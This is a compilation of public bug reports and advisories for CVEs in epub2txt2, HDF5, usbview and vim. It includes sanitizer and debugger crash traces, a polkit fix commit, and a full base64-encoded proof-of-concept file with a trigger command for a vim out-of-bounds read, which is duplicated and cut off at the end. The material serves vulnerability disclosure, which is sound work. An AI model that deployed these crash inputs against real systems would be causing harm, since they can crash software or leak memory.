xhtml_translate_entity in xhtml.c in epub2txt (aka epub2txt2) through 2.02 allows a stack-based buffer overflow via a crafted EPUB document.

**Description**

A stack-buffer-overflow was discovered in epub2txt2.  
The issue is being triggered in function xhtml\_translate\_entity() at src/xhtml.c:576

**Version**

Version 2.02 (Lastest)

**Environment**

Ubuntu 18.04, 64bit

**Reproduce****Command**

    git clone the Lastest Version firstly.
    make && make install
    ./epub2txt poc
    

![image](https://user-images.githubusercontent.com/15817126/150640450-2db08fc2-b37f-47fc-a963-532f09e88412.png)

POC file at the bottom of this report.

**With ASAN**

Note: You can use ASAN for more direct verification.

    Compile program with address sanitizer with this command:
    VERSION := 2.02
    CC      := gcc
    CFLAGS  := -Wall -fPIC -fPIE
    LDLAGS  := -pie 
    DESTDIR :=
    PREFIX  := /usr
    BINDIR  := /bin
    MANDIR  := /share/man
    APPNAME := epub2txt
    
    TARGET	:= epub2txt 
    SOURCES := $(shell find src/ -type f -name *.c)
    OBJECTS := $(patsubst src/%,build/%,$(SOURCES:.c=.o))
    DEPS	:= $(OBJECTS:.o=.deps)
    
    $(TARGET): $(OBJECTS)
    	$(CC) -fsanitize=address -o $(TARGET) $(LDFLAGS) $(OBJECTS) 
    
    build/%.o: src/%.c
    	@mkdir -p build/
    	$(CC) $(CFLAGS) -fsanitize=address -g -DVERSION=\"$(VERSION)\" -DAPPNAME=\"$(APPNAME)\" -MD -MF $(@:.o=.deps) -c -o $@ $< 
    
    clean:
    	$(RM) -r build/ $(TARGET) 
    
    install:
    	install -D -m 755 $(APPNAME) $(DESTDIR)/$(PREFIX)/$(BINDIR)/$(APPNAME)
    	install -D -m 644 man1/epub2txt.1 $(DESTDIR)/$(PREFIX)/$(MANDIR)/man1/epub2txt.1
    
    uninstall:
    	rm -f $(DESTDIR)/$(PREFIX)/$(BINDIR)/$(APPNAME)
    	rm -f $(DESTDIR)/$(PREFIX)/$(MANDIR)/man1/epub2txt.1
    
    -include $(DEPS)
    
    .PHONY: clean install
    
    

**ASAN Report**

    warning [./input/id:000029,sig:11,src:000553,time:174169875,op:havoc,rep:4]:  3 extra bytes at beginning or within zipfile
      (attempting to process anyway)
    file #1:  bad zipfile offset (local header sig):  3
      (attempting to re-compensate)
    /tmp/epub2txt14993/OEBPS/cover.xml  bad CRC aa74ee30  (should be 4874d916)
      error:  invalid compressed data to inflate /tmp/epub2txt14993/OEBPS/images/GeographyofBli-cover.jpg
    file #8:  bad zipfile offset (local header sig):  163411
      (attempting to re-compensate)
    file #8:  bad zipfile offset (local header sig):  163411
    file #9:  bad zipfile offset (local header sig):  181495
    /tmp/epub2txt14993/OEBPS/GeographyofBli_toc.html  bad CRC 0938f2f2  (should be 64dedce7)
    /tmp/epub2txt14993/OEBPS/GeographyofBli_copyright.html  bad CRC 5d8cbd1a  (should be 9b5bfa5d)
    /tmp/epub2txt14993/OEBPS/GeographyofBli_body_split_001.html  bad CRC 1a36209f  (should be 81fec8f3)
    =================================================================
    ==14993==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffcb14 at pc 0x7ffff6e7e3a6 bp 0x7fffffffca60 sp 0x7fffffffc208
    WRITE of size 305 at 0x7fffffffcb14 thread T0
        #0 0x7ffff6e7e3a5  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x663a5)
        #1 0x55555558000e in xhtml_translate_entity src/xhtml.c:576
        #2 0x555555580b34 in xhtml_to_stdout src/xhtml.c:789
        #3 0x555555580680 in xhtml_file_to_stdout src/xhtml.c:700
        #4 0x555555560476 in epub2txt_do_file src/epub2txt.c:494
        #5 0x55555555d3c9 in main src/main.c:187
        #6 0x7ffff6a48bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
        #7 0x55555555c219 in _start (/home/nisl1/nisl8121/Asteriska/fuzz/projects/epub2txt2-master/valid/epub2txt+0x8219)
    
    Address 0x7fffffffcb14 is located in stack of thread T0 at offset 116 in frame
        #0 0x55555557fad4 in xhtml_translate_entity src/xhtml.c:532
    
      This frame has 2 object(s):
        [32, 36) 'v'
        [96, 116) 'out' <== Memory access at offset 116 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x663a5) 
    Shadow bytes around the buggy address:
      0x10007fff7910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7950: 00 00 00 00 f1 f1 f1 f1 04 f2 f2 f2 f2 f2 f2 f2
    =>0x10007fff7960: 00 00[04]f2 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7980: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 00 00 00 00 00 00
      0x10007fff7990: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f2 f2 f2
      0x10007fff79a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff79b0: 00 00 00 00 00 00 f1 f1 f1 f1 f8 f2 f2 f2 f2 f2
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==14993==ABORTING
    
    

**POC**

POC

Any issue plz contact with me:  
admin@hack.best  
OR:  
twitter: @Asteriska8

CVE-2022-23850: [Bug Report]stack-buffer-overflow in Function epub2txt_do_file() AT src/epub2txt.c · Issue #17 · kevinboone/epub2txt2

A Divide By Zero vulnerability exists in HDF5 v1.13.1-1 vis the function H5T__complete_copy () at /hdf5/src/H5T.c. This vulnerability causes an aritmetic exception, leading to a Denial of Service (DoS).

**Version:**

    h5format_convert: Version 1.13.1-1
    

**System information**

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

**command:**

POC.zip

**Result**

**bt**

    program received signal SIGFPE, Arithmetic exception.
    [----------------------------------registers-----------------------------------]
    RAX: 0x0 
    RBX: 0x555555949fa0 --> 0x55555594a230 --> 0x7ffff7e55b00 --> 0x0 
    RCX: 0x21000004 
    RDX: 0x0 
    RSI: 0x0 
    RDI: 0x55555594a230 --> 0x7ffff7e55b00 --> 0x0 
    RBP: 0x55555594a250 --> 0x0 
    RSP: 0x7fffffffd290 --> 0x21000004 
    RIP: 0x55555570bb5f (<H5T__complete_copy+543>:	div    rsi)
    R8 : 0x55555570ea80 (<H5T__copy_all>:	endbr64)
    R9 : 0x7ffff7e55c50 --> 0x7ffff7e55c40 --> 0x7ffff7e55c30 --> 0x7ffff7e55c20 --> 0x7ffff7e55c10 --> 0x7ffff7e55c00 (--> ...)
    R10: 0x5555558fc010 --> 0x2000000010000 
    R11: 0x7ffff7e55be0 --> 0x55555594ff50 --> 0x0 
    R12: 0x1 
    R13: 0x55555594e740 --> 0x555555949930 --> 0x0 
    R14: 0x55555594a230 --> 0x7ffff7e55b00 --> 0x0 
    R15: 0x0
    EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x55555570bb54 <H5T__complete_copy+532>:	imul   rax,rcx
       0x55555570bb58 <H5T__complete_copy+536>:	sub    rcx,rsi
       0x55555570bb5b <H5T__complete_copy+539>:	add    QWORD PTR [rsp],rcx
    => 0x55555570bb5f <H5T__complete_copy+543>:	div    rsi
       0x55555570bb62 <H5T__complete_copy+546>:	mov    QWORD PTR [rbx+0x10],rax
       0x55555570bb66 <H5T__complete_copy+550>:	mov    rax,QWORD PTR [rsp+0x28]
       0x55555570bb6b <H5T__complete_copy+555>:	add    r12d,0x1
       0x55555570bb6f <H5T__complete_copy+559>:	cmp    DWORD PTR [rax+0x34],r12d
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffd290 --> 0x21000004 
    0008| 0x7fffffffd298 --> 0x55555570ea80 (<H5T__copy_all>:	endbr64)
    0016| 0x7fffffffd2a0 --> 0x555555949f80 --> 0x55555594a050 --> 0x7ffff7e55b00 --> 0x0 
    0024| 0x7fffffffd2a8 --> 0x55555593f2d0 --> 0x0 
    0032| 0x7fffffffd2b0 --> 0x555555922020 --> 0x0 
    0040| 0x7fffffffd2b8 --> 0x55555593f340 --> 0x0 
    0048| 0x7fffffffd2c0 --> 0x55555594e740 --> 0x555555949930 --> 0x0 
    0056| 0x7fffffffd2c8 --> 0x555555949fa0 --> 0x55555594a230 --> 0x7ffff7e55b00 --> 0x0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGFPE
    0x000055555570bb5f in H5T__complete_copy (new_dt=new_dt@entry=0x55555593f2d0, old_dt=old_dt@entry=0x555555922020, reopened_fo=reopened_fo@entry=0x0, set_memory_type=set_memory_type@entry=0x0, 
        copyfn=0x55555570ea80 <H5T__copy_all>) at /home/zxq/CVE_testing/source/hdf5/src/H5T.c:3613
    3613	                        new_dt->shared->u.compnd.memb[i].size =
    gdb-peda$ bt
    #0  0x000055555570bb5f in H5T__complete_copy (new_dt=new_dt@entry=0x55555593f2d0, old_dt=old_dt@entry=0x555555922020, reopened_fo=reopened_fo@entry=0x0, set_memory_type=set_memory_type@entry=0x0, 
        copyfn=0x55555570ea80 <H5T__copy_all>) at /home/zxq/CVE_testing/source/hdf5/src/H5T.c:3613
    #1  0x000055555570c1f6 in H5T_copy (old_dt=0x555555922020, method=method@entry=H5T_COPY_ALL) at /home/zxq/CVE_testing/source/hdf5/src/H5T.c:3774
    #2  0x0000555555680aa8 in H5O__dtype_copy (_src=<optimized out>, _dst=0x0) at /home/zxq/CVE_testing/source/hdf5/src/H5Odtype.c:1215
    #3  0x000055555568fe89 in H5O_msg_read_oh (f=0x555555941400, oh=oh@entry=0x55555594e470, type_id=type_id@entry=0x3, mesg=mesg@entry=0x0) at /home/zxq/CVE_testing/source/hdf5/src/H5Omessage.c:521
    #4  0x0000555555690129 in H5O_msg_read (loc=loc@entry=0x555555947d60, type_id=type_id@entry=0x3, mesg=mesg@entry=0x0) at /home/zxq/CVE_testing/source/hdf5/src/H5Omessage.c:455
    #5  0x00005555555cb237 in H5D__open_oid (dapl_id=0xb00000000000007, dataset=0x555555947d60) at /home/zxq/CVE_testing/source/hdf5/src/H5Dint.c:1707
    #6  H5D_open (loc=loc@entry=0x7fffffffd520, dapl_id=dapl_id@entry=0xb00000000000007) at /home/zxq/CVE_testing/source/hdf5/src/H5Dint.c:1512
    #7  0x00005555555cbfe8 in H5D__open_name (loc=loc@entry=0x7fffffffd5a0, name=name@entry=0x55555594e230 "/BAG_root/tracking_list", dapl_id=dapl_id@entry=0xb00000000000007)
        at /home/zxq/CVE_testing/source/hdf5/src/H5Dint.c:1447
    #8  0x00005555557a09e2 in H5VL__native_dataset_open (obj=<optimized out>, loc_params=<optimized out>, name=0x55555594e230 "/BAG_root/tracking_list", dapl_id=0xb00000000000007, dxpl_id=<optimized out>, 
        req=<optimized out>) at /home/zxq/CVE_testing/source/hdf5/src/H5VLnative_dataset.c:251
    #9  0x000055555578c488 in H5VL__dataset_open (cls=<optimized out>, req=0x0, dxpl_id=0xb00000000000008, dapl_id=0xb00000000000007, name=0x55555594e230 "/BAG_root/tracking_list", loc_params=0x7fffffffd630, 
        obj=<optimized out>) at /home/zxq/CVE_testing/source/hdf5/src/H5VLcallback.c:1944
    #10 H5VL_dataset_open (vol_obj=0x555555944740, loc_params=loc_params@entry=0x7fffffffd630, name=name@entry=0x55555594e230 "/BAG_root/tracking_list", dapl_id=0xb00000000000007, dxpl_id=0xb00000000000008, 
        req=req@entry=0x0) at /home/zxq/CVE_testing/source/hdf5/src/H5VLcallback.c:1976
    #11 0x00005555555bb5e2 in H5D__open_api_common (_vol_obj_ptr=0x0, token_ptr=0x0, dapl_id=<optimized out>, name=0x55555594e230 "/BAG_root/tracking_list", loc_id=0x100000000000000)
        at /home/zxq/CVE_testing/source/hdf5/src/H5D.c:356
    #12 H5Dopen2 (loc_id=0x100000000000000, name=0x55555594e230 "/BAG_root/tracking_list", dapl_id=<optimized out>) at /home/zxq/CVE_testing/source/hdf5/src/H5D.c:396
    #13 0x0000555555563784 in convert (fid=<optimized out>, dname=0x55555594e230 "/BAG_root/tracking_list") at /home/zxq/CVE_testing/source/hdf5/tools/src/h5format_convert/h5format_convert.c:213
    #14 0x0000555555563d88 in convert_dsets_cb (path=0x55555594e230 "/BAG_root/tracking_list", oi=<optimized out>, already_visited=<optimized out>, _fid=<optimized out>)
        at /home/zxq/CVE_testing/source/hdf5/tools/src/h5format_convert/h5format_convert.c:363
    #15 0x000055555557c8ca in traverse_cb (loc_id=<optimized out>, path=<optimized out>, linfo=<optimized out>, _udata=0x7fffffffe150) at /home/zxq/CVE_testing/source/hdf5/tools/lib/h5trav.c:218
    #16 0x00005555556296a6 in H5G__visit_cb (lnk=0x7fffffffd8f0, _udata=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gint.c:1016
    #17 0x000055555563036e in H5G__node_iterate (f=f@entry=0x555555941400, _lt_key=<optimized out>, addr=0x8a0, _rt_key=<optimized out>, _udata=_udata@entry=0x7fffffffda30)
        at /home/zxq/CVE_testing/source/hdf5/src/H5Gnode.c:967
    #18 0x00005555557cfe40 in H5B__iterate_helper (f=0x555555941400, type=0x5555558f3f20 <H5B_SNODE>, addr=0x348, op=0x555555630280 <H5G__node_iterate>, udata=udata@entry=0x7fffffffda30)
        at /home/zxq/CVE_testing/source/hdf5/src/H5B.c:1152
    #19 0x00005555557d131b in H5B_iterate (f=<optimized out>, type=<optimized out>, addr=<optimized out>, op=<optimized out>, udata=udata@entry=0x7fffffffda30) at /home/zxq/CVE_testing/source/hdf5/src/H5B.c:1194
    #20 0x0000555555635146 in H5G__stab_iterate (oloc=oloc@entry=0x7fffffffdbb0, order=order@entry=H5_ITER_INC, skip=skip@entry=0x0, last_lnk=last_lnk@entry=0x0, op=op@entry=0x5555556295f0 <H5G__visit_cb>, 
        op_data=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gstab.c:536
    #21 0x0000555555632cc5 in H5G__obj_iterate (grp_oloc=grp_oloc@entry=0x7fffffffdbb0, idx_type=H5_INDEX_NAME, order=H5_ITER_INC, skip=skip@entry=0x0, last_lnk=last_lnk@entry=0x0, 
        op=op@entry=0x5555556295f0 <H5G__visit_cb>, op_data=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gobj.c:672
    #22 0x00005555556299e6 in H5G__visit_cb (lnk=<optimized out>, _udata=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gint.c:1101
    #23 0x000055555563036e in H5G__node_iterate (f=f@entry=0x555555941400, _lt_key=<optimized out>, addr=0x5e0, _rt_key=<optimized out>, _udata=_udata@entry=0x7fffffffddc0)
        at /home/zxq/CVE_testing/source/hdf5/src/H5Gnode.c:967
    #24 0x00005555557cfe40 in H5B__iterate_helper (f=0x555555941400, type=0x5555558f3f20 <H5B_SNODE>, addr=0x88, op=0x555555630280 <H5G__node_iterate>, udata=udata@entry=0x7fffffffddc0)
        at /home/zxq/CVE_testing/source/hdf5/src/H5B.c:1152
    #25 0x00005555557d131b in H5B_iterate (f=<optimized out>, type=<optimized out>, addr=<optimized out>, op=<optimized out>, udata=udata@entry=0x7fffffffddc0) at /home/zxq/CVE_testing/source/hdf5/src/H5B.c:1194
    #26 0x0000555555635146 in H5G__stab_iterate (oloc=oloc@entry=0x555555944ac8, order=order@entry=H5_ITER_INC, skip=skip@entry=0x0, last_lnk=last_lnk@entry=0x0, op=op@entry=0x5555556295f0 <H5G__visit_cb>, 
        op_data=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gstab.c:536
    #27 0x0000555555632cc5 in H5G__obj_iterate (grp_oloc=grp_oloc@entry=0x555555944ac8, idx_type=H5_INDEX_NAME, order=order@entry=H5_ITER_INC, skip=skip@entry=0x0, last_lnk=last_lnk@entry=0x0, 
        op=op@entry=0x5555556295f0 <H5G__visit_cb>, op_data=0x7fffffffdf40) at /home/zxq/CVE_testing/source/hdf5/src/H5Gobj.c:672
    #28 0x000055555562b044 in H5G_visit (loc=loc@entry=0x7fffffffdfd0, group_name=<optimized out>, idx_type=<optimized out>, order=H5_ITER_INC, op=<optimized out>, op_data=<optimized out>)
        at /home/zxq/CVE_testing/source/hdf5/src/H5Gint.c:1243
    #29 0x00005555557a53b5 in H5VL__native_link_specific (obj=<optimized out>, loc_params=0x7fffffffe050, args=0x7fffffffe080, dxpl_id=<optimized out>, req=<optimized out>)
        at /home/zxq/CVE_testing/source/hdf5/src/H5VLnative_link.c:374
    #30 0x00005555557943c0 in H5VL__link_specific (cls=<optimized out>, req=0x0, dxpl_id=0xb00000000000008, args=0x7fffffffe080, loc_params=0x7fffffffe050, obj=<optimized out>)
        at /home/zxq/CVE_testing/source/hdf5/src/H5VLcallback.c:5305
    #31 H5VL_link_specific (vol_obj=vol_obj@entry=0x555555944740, loc_params=loc_params@entry=0x7fffffffe050, args=args@entry=0x7fffffffe080, dxpl_id=0xb00000000000008, req=req@entry=0x0)
        at /home/zxq/CVE_testing/source/hdf5/src/H5VLcallback.c:5339
    #32 0x000055555565f021 in H5Lvisit_by_name2 (loc_id=loc_id@entry=0x100000000000000, group_name=group_name@entry=0x555555810903 "/", idx_type=H5_INDEX_NAME, order=H5_ITER_INC, 
        op=op@entry=0x55555557c710 <traverse_cb>, op_data=op_data@entry=0x7fffffffe150, lapl_id=<optimized out>) at /home/zxq/CVE_testing/source/hdf5/src/H5L.c:1984
    #33 0x000055555557dd7e in traverse (fields=0x1, visitor=0x7fffffffe110, recurse=0x1, visit_start=<optimized out>, grp_name=0x555555810903 "/", file_id=0x100000000000000)
        at /home/zxq/CVE_testing/source/hdf5/tools/lib/h5trav.c:288
    #34 h5trav_visit (fid=0x100000000000000, grp_name=0x555555810903 "/", visit_start=<optimized out>, recurse=<optimized out>, visit_obj=<optimized out>, visit_lnk=<optimized out>, udata=0x7fffffffe220, 
        fields=0x1) at /home/zxq/CVE_testing/source/hdf5/tools/lib/h5trav.c:1057
    #35 0x000055555556324d in main (argc=argc@entry=0x2, argv=argv@entry=0x7fffffffe338) at /home/zxq/CVE_testing/source/hdf5/tools/src/h5format_convert/h5format_convert.c:426
    #36 0x00007ffff7c910b3 in __libc_start_main (main=0x555555562f20 <main>, argc=0x2, argv=0x7fffffffe338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe328)
        at ../csu/libc-start.c:308
    #37 0x00005555555633ee in _start () at /home/zxq/CVE_testing/source/hdf5/tools/src/h5format_convert/h5format_convert.c:166

CVE-2021-46244: Divide By Zero in H5T__complete_copy () at /hdf5/src/H5T.c:3613 · Issue #1327 · HDFGroup/hdf5

USBView 2.1 before 2.2 allows some local users (e.g., ones logged in via SSH) to execute arbitrary code as root because certain Polkit settings (e.g., allow_any=yes) for pkexec disable the authentication requirement. Code execution can, for example, use the --gtk-module option. This affects Ubuntu, Debian, and Gentoo.

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org.freedesktop.pkexec.usbview.policy: fix a local root privilege esc…

…alation issue via pkexec (CVE-2022-23220).

The polkit policy allowed unprivileged users to run usbview as root with
arbitrary command line arguments, allowing a local root exploit.

Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

*   Loading branch information

gregkh committed

Jan 21, 2022

1 parent 4a5de69 commit bf374fa

Showing **1 changed file** with **2 additions** and **2 deletions**.

4 changes: 2 additions & 2 deletions org.freedesktop.pkexec.usbview.policy

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@@ -8,8 +8,8 @@

<message\>Authentication is required to view USB bus</message\>

<icon\_name\>usbview\_icon</icon\_name\>

<defaults\>

<allow\_any\>yes</allow\_any\>

<allow\_inactive\>yes</allow\_inactive\>

<allow\_any\>no</allow\_any\>

<allow\_inactive\>no</allow\_inactive\>

<allow\_active\>auth\_admin\_keep</allow\_active\>

</defaults\>

<annotate key\="org.freedesktop.policykit.exec.path"\>/usr/bin/usbview</annotate\>

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CVE-2022-23220: org.freedesktop.pkexec.usbview.policy: fix a local root privilege esc… · gregkh/usbview@bf374fa

Permalink

Browse files

org.freedesktop.pkexec.usbview.policy: fix a local root privilege esc…

…alation issue via pkexec (CVE-2022-23220).

The polkit policy allowed unprivileged users to run usbview as root with
arbitrary command line arguments, allowing a local root exploit.

Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

*   Loading branch information

![@gregkh](https://avatars.githubusercontent.com/u/14953?s=40&v=4)

1 parent 4a5de69 commit bf374fa4e5b9a756789dfd88efa93806a395463b

Showing with **2 additions** and **2 deletions**.

1.  +2 −2 org.freedesktop.pkexec.usbview.policy

@@ -8,8 +8,8 @@

<message\>Authentication is required to view USB bus</message\>

<icon\_name\>usbview\_icon</icon\_name\>

<defaults\>

<allow\_any\>yes</allow\_any\>

<allow\_inactive\>yes</allow\_inactive\>

<allow\_any\>no</allow\_any\>

<allow\_inactive\>no</allow\_inactive\>

<allow\_active\>auth\_admin\_keep</allow\_active\>

</defaults\>

<annotate key\="org.freedesktop.policykit.exec.path"\>/usr/bin/usbview</annotate\>

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Out-of-bounds Read in vim/vim prior to 8.2.

**Description**

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash fd218c8a36e7ed33f7a205163690c5b7d2f31f8a) on Ubuntu 20.04 for x86\_64/amd64.

**Proof of Concept**

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

    $ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcm0ICAgICAgICBYXDrJPKgNn
    eW9leHQgFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRsa25lCiAgc2lsIW5vcm0ICAgI9/f3
    MBYXGLJPKgNneXl5k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eXl5eW1lpmUgZSsgeXlweXl5AXV1
    dXV1dXV1enUwdXV1dnV1" | base64 -d > poc
    $ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
    =================================================================
    ==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000016500 at pc 0x7f4e10795f40 bp 0x7fffa0da2520 sp 0x7fffa0da1cc8
    READ of size 4 at 0x621000016500 thread T0
        #0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f)
        #1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
        #2 0x561238d26031 in u_save_line /home/faraday/vim/src/undo.c:373
        #3 0x561238d4665c in u_saveline /home/faraday/vim/src/undo.c:3477
        #4 0x561238d25615 in u_save /home/faraday/vim/src/undo.c:257
        #5 0x561238d254a4 in u_save_cursor /home/faraday/vim/src/undo.c:237
        #6 0x5612388b83c5 in op_addsub /home/faraday/vim/src/ops.c:2386
        #7 0x561238858e66 in nv_addsub /home/faraday/vim/src/normal.c:2302
        #8 0x56123884f61f in normal_cmd /home/faraday/vim/src/normal.c:1120
        #9 0x5612385ac525 in exec_normal /home/faraday/vim/src/ex_docmd.c:8638
        #10 0x5612385ac2e4 in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8601
        #11 0x5612385ab802 in ex_normal /home/faraday/vim/src/ex_docmd.c:8519
        #12 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #13 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #14 0x561238addf98 in do_source /home/faraday/vim/src/scriptfile.c:1512
        #15 0x561238adaf75 in cmd_source /home/faraday/vim/src/scriptfile.c:1098
        #16 0x561238adb132 in ex_source /home/faraday/vim/src/scriptfile.c:1124
        #17 0x56123856dd85 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2573
        #18 0x56123856170e in do_cmdline /home/faraday/vim/src/ex_docmd.c:993
        #19 0x56123855f288 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:587
        #20 0x56123905a82d in exe_commands /home/faraday/vim/src/main.c:3091
        #21 0x56123904c323 in vim_main2 /home/faraday/vim/src/main.c:774
        #22 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #23 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #24 0x5612382d7cbd in _start (/home/faraday/vim/src/vim+0x1259cbd)
    
    0x621000016500 is located 0 bytes to the right of 4096-byte region [0x621000015500,0x621000016500)
    allocated by thread T0 here:
        #0 0x7f4e10802bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
        #1 0x5612382d817e in lalloc /home/faraday/vim/src/alloc.c:248
        #2 0x5612382d7f29 in alloc /home/faraday/vim/src/alloc.c:151
        #3 0x561239062c5c in mf_alloc_bhdr /home/faraday/vim/src/memfile.c:884
        #4 0x56123905f03c in mf_new /home/faraday/vim/src/memfile.c:376
        #5 0x5612387bbbda in ml_new_data /home/faraday/vim/src/memline.c:4077
        #6 0x561238798cc5 in ml_open /home/faraday/vim/src/memline.c:394
        #7 0x561238304457 in open_buffer /home/faraday/vim/src/buffer.c:185
        #8 0x561239059185 in create_windows /home/faraday/vim/src/main.c:2861
        #9 0x56123904c02e in vim_main2 /home/faraday/vim/src/main.c:705
        #10 0x56123904b809 in main /home/faraday/vim/src/main.c:426
        #11 0x7f4e0ed440b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f) in __interceptor_memmove
    Shadow bytes around the buggy address:
      0x0c427fffac50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c427fffac90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c427fffaca0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427ffface0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c427fffacf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==67807==ABORTING
    

**Impact**

This vulnerability is capable disclosing data and might lead to bypass protection mechanisms facilitating successful exploitation of other memory corruption vulnerabilities that may lead to code execution.

**Acknowledgements**

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE-2022-0319: Out-of-bounds Read in vim

Out-of-bounds Read in Conda vim prior to 8.2.

**Description**

A heap-based OOB read of size 4 occurs when a user tries to open a vim session file specified below. This happens regardless of any command line options that could be specified to restrict vim, such -Z and -m. This bug has been found on default vim build (lastest commit hash `fd218c8a36e7ed33f7a205163690c5b7d2f31f8a`) on Ubuntu 20.04 for x86\_64/amd64.

**Proof of Concept**

Here is the smallest poc we were able to produce (it is base64 encoded since it contains some unprintable characters):

    $ echo -ne "CXdpMDAwMDAwMDA1MDAwMCA1MDAwMDAwMDAwMDAACiAgc2lsIW5vcm0ICAgICAgICBYXDrJPKgNn
    eW9leHQgFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRsa25lCiAgc2lsIW5vcm0ICAgI9/f3
    MBYXGLJPKgNneXl5k/95eQEBAgEN/gb/3jABPQGEAQEBAT15eXl5eW1lpmUgZSsgeXlweXl5AXV1
    dXV1dXV1enUwdXV1dnV1" | base64 -d > poc
    $ vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ':qa!'
    =================================================================
    ==67807==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000016500 at pc 0x7f4e10795f40 bp 0x7fffa0da2520 sp 0x7fffa0da1cc8
    READ of size 4 at 0x621000016500 thread T0
        #0 0x7f4e10795f3f in __interceptor_memmove (/lib/x86_64-linux-gnu/libasan.so.5+0xa0f3f)
        #1 0x5612382d840a in vim_memsave /home/faraday/vim/src/alloc.c:604
